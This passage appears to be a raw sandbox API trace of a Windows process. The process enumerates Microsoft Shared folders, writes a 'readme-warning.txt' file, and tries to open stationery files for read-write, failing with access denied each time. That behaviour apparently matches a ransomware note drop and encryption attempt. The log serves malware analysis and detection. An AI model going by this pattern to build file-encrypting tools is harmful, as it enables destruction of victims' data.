Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt") returned 75 [0170.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.830] WriteFile (in: hFile=0xf0, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0170.831] CloseHandle (hObject=0xf0) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0170.832] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0170.832] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0170.832] GetProcessHeap () returned 0x990000 [0170.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b2468 [0170.832] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0170.833] GetProcessHeap () returned 0x990000 [0170.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0170.834] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.834] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0170.834] GetProcessHeap () returned 0x990000 [0170.834] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9f9760 [0170.834] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0170.834] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0170.834] GetProcessHeap () returned 0x990000 [0170.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0170.834] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0170.834] GetProcessHeap () returned 0x990000 [0170.834] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x84) returned 0x9b2468 [0170.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0170.836] GetProcessHeap () returned 0x990000 [0170.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0170.836] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.837] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0170.837] GetProcessHeap () returned 0x990000 [0170.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x286) returned 0x9f9760 [0170.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.838] GetLastError () returned 0x5 [0170.838] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0170.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.839] GetLastError () returned 0x5 [0170.839] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0170.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.840] GetLastError () returned 0x5 [0170.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0170.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.840] GetLastError () returned 0x5 [0170.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0170.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.840] GetLastError () returned 0x5 [0170.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0170.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0170.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.841] GetLastError () returned 0x5 [0170.841] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0170.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.841] GetLastError () returned 0x5 [0170.841] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0170.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.841] GetLastError () returned 0x5 [0170.841] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0170.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.842] GetLastError () returned 0x5 [0170.842] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0170.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.842] GetLastError () returned 0x5 [0170.842] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0170.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.843] GetLastError () returned 0x5 [0170.843] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0170.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.844] GetLastError () returned 0x5 [0170.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0170.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.845] GetLastError () returned 0x5 [0170.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0170.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.845] GetLastError () returned 0x5 [0170.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0170.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.845] GetLastError () returned 0x5 [0170.845] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0170.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.847] GetLastError () returned 0x5 [0170.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0170.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.847] GetLastError () returned 0x5 [0170.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0170.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.848] GetLastError () returned 0x5 [0170.848] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0170.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.849] GetLastError () returned 0x5 [0170.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0170.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft 